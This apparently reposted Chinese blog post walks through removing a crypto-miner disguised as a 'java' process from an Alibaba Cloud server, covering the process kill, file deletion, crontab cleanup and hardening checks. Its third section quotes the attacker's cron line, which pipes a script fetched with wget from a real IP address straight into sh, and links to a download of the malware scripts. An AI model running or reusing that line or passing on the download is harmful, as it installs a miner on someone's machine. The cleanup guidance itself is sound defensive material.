阿里云ECS遭挖矿程序攻击解决方法(彻底清除挖矿程序,顺便下载了挖矿程序的脚本)

阿里云ECS遭挖矿程序攻击解决方法(彻底清除挖矿程序,顺便下载了挖矿程序的脚本)一:杀死挖矿程序进程在服务器上使用top指令查看cpu的使用情况,发现有一个叫java的程序占用cpu高达99.9%PIDUSERPRNIVIRTRESSHRS%CPU%MEMTIME+COMMAND5778root200…

大家好,又见面了,我是你们的朋友全栈君。

一:杀死挖矿程序进程

在服务器上使用top指令查看cpu的使用情况,发现有一个叫java的程序占用cpu高达99.9%

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND                                      
 5778 root      20   0  373576   2720    404 S 99.9  0.1   1252:00 java                                         
    1 root      20   0   43208   3544   2420 S  0.0  0.2   0:04.52 systemd                                      
    2 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kthreadd                                     
    3 root      20   0       0      0      0 S  0.0  0.0   0:00.08 ksoftirqd/0                                  
    5 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0H                                 
    7 root      rt   0       0      0      0 S  0.0  0.0   0:00.00 migration/0 

这个是挖矿程序伪装成java程序,用jps查看java进程的时候并没有这个程序。

通过pkill 5778杀死进程

二:删除挖矿程序

我们通过cd /proc/5778(这个java挖矿程序的pid)进入到这个进程的目录然后通过ll命令查看这个进程程序的位置

dr-xr-xr-x 2 root root 0 Oct 11 17:24 attr
-rw-r–r– 1 root root 0 Oct 11 17:24 autogroup
-r——– 1 root root 0 Oct 11 17:24 auxv
-r–r–r– 1 root root 0 Oct 11 17:24 cgroup
–w——- 1 root root 0 Oct 11 17:24 clear_refs
-r–r–r– 1 root root 0 Oct 10 20:18 cmdline
-rw-r–r– 1 root root 0 Oct 11 17:24 comm
-rw-r–r– 1 root root 0 Oct 11 17:24 coredump_filter
-r–r–r– 1 root root 0 Oct 11 17:24 cpuset
lrwxrwxrwx 1 root root 0 Oct 11 17:24 cwd -> /
-r——– 1 root root 0 Oct 11 17:24 environ
lrwxrwxrwx 1 root root 0 Oct 10 20:18 exe -> /var/tmp/java
dr-x—— 2 root root 0 Oct 10 20:18 fd
dr-x—— 2 root root 0 Oct 11 17:24 fdinfo

然后我们进入这个程序的目录找到这个程序然后删除

-rwxr-xr-x 1 root root 2386544 Oct  9 15:53 java

rm -rf java

不过做到这里不久之后这个挖矿程序还是会死灰复燃

三:清除挖矿程序的定时任务

因为你的系统中已经被设置了一个定时任务,定时下载挖矿程序并运行

通过crontab -l 查看该用户下的所有定时任务

* * * * * wget -q -O – http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
无时无刻的静默执行这个cr.sh脚本,还清除了记录,真的是阴啊!

crontab -r 删除定时任务

不过我好奇这个脚本里写了什么,于是乎修改了一下这个定时任务,把他的脚本下载了下来,发现通过这个脚本又执行了另一个脚本,还得到了一个配置文件,再加上伪装成java的挖矿软件,一共四个东西,我都上传了,有兴趣的可以下来看下。

https://download.csdn.net/download/zzf1510711060/10714458

最后提醒下,服务器的一些高危端口千万不要随便开启啊,如果用阿里云搭建集群的话可以配置安全组规则,针对于特定的主机开放端口,不要对所有ip开放端口。

四:检查用户列表,.ssh文件,开机启动

cat /etc/passwd 检查是否有未知用户

cat ~/.ssh/authrized_keys 检查是否对未知用户授权

cat known_hosts 检查是否有未知的用host

/etc/rc.local /etc/rc.sysinit /etc/inittab /etc/profile 这些开机启动的系统配置目录下面可能有挖矿程序的脚本,检查一下

步骤简化:

1.pkill java 杀掉挖矿程序的进程

2.rm -rf java 删除挖矿程序

3.crontab -r 删除定时任务

4.检查用户列表,开机启动,.ssh文件

5.去阿里云控制台设置安全组关闭不安全端口
 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/149931.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 详解JVM常量池、Class常量池、运行时常量池、字符串常量池(心血总结)

    详解JVM常量池、Class常量池、运行时常量池、字符串常量池(心血总结)写在前面:博主是一位普普通通的19届二本大学生,平时最大的爱好就是听听歌,逛逛B站。博主很喜欢的一句话花开堪折直须折,莫待无花空折枝:博主的理解是头一次为人,就应该做自己想做的事,做自己不后悔的事,做自己以后不会留有遗憾的事,做自己觉得有意义的事,不浪费这大好的青春年华。博主写博客目的是记录所学到的知识并方便自己复习,在记录知识的同时获得部分浏览量,得到更多人的认可,满足小小的成就感,同时在写博客的途中结交更多志同道合的朋友,让自己在技术的路上并不孤单。目录:1.常量池与Class常量池2.运.

    2022年9月10日
    0
  • 开启wallpaper engine的时候 很卡_wallpaper用独显

    开启wallpaper engine的时候 很卡_wallpaper用独显轻松一步解决wallpaperengine小红车卡顿鼠标延迟问题

    2022年9月11日
    0
  • Ubutu/Debian使用 VSFTPD架设FTP服务器小结

    Ubutu/Debian使用 VSFTPD架设FTP服务器小结架设FTP服务器有好几次了,以前搭建好以后,没有记录操作的详细步骤,过阵时间又忘记了。此次架设FTP服务的需求要点:vsftpdmysql虚拟用户虚拟目录 只读用户 只写用户读写用户。1.安装软件:sudoapt-getinstallvsftpdlibpam-mysqlmysql-server安装MySQL过程中会询问MYSQL的root密码,输入两遍,以

    2022年7月21日
    9
  • 总计划组属性控制

    总计划组属性控制

    2021年8月24日
    65
  • ubuntu设置nginx开机启动_ubuntussh

    ubuntu设置nginx开机启动_ubuntussh转载自:https://www.cnblogs.com/xiaoL/p/6964217.htmlnginx-sreload:修改配置后重新加载生效nginx-sreopen:重新打开日志文件nginx-t-c/path/to/nginx.conf测试nginx配置文件是否正确关闭nginx:nginx-sstop:快速停止nginx…

    2022年8月13日
    56
  • Activity 工作流框架学习总结「建议收藏」

    Activity 工作流框架学习总结「建议收藏」环境的搭建和数据表的了解1.什么是工作流?工作流(Workflow),就是“业务过程的部分或整体在计算机应用环境下的自动化”,它主要解决的是“使在多个参与者之间按照某种预定义的规则传递文档、信息或任务的过程自动进行,从而实现某个预期的业务目标,或者促使此目标的实现”。工作流管理系统(WorkflowManagementSystem,WfMS)是一个软件系统,它完成工作量的定义

    2022年5月7日
    95

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号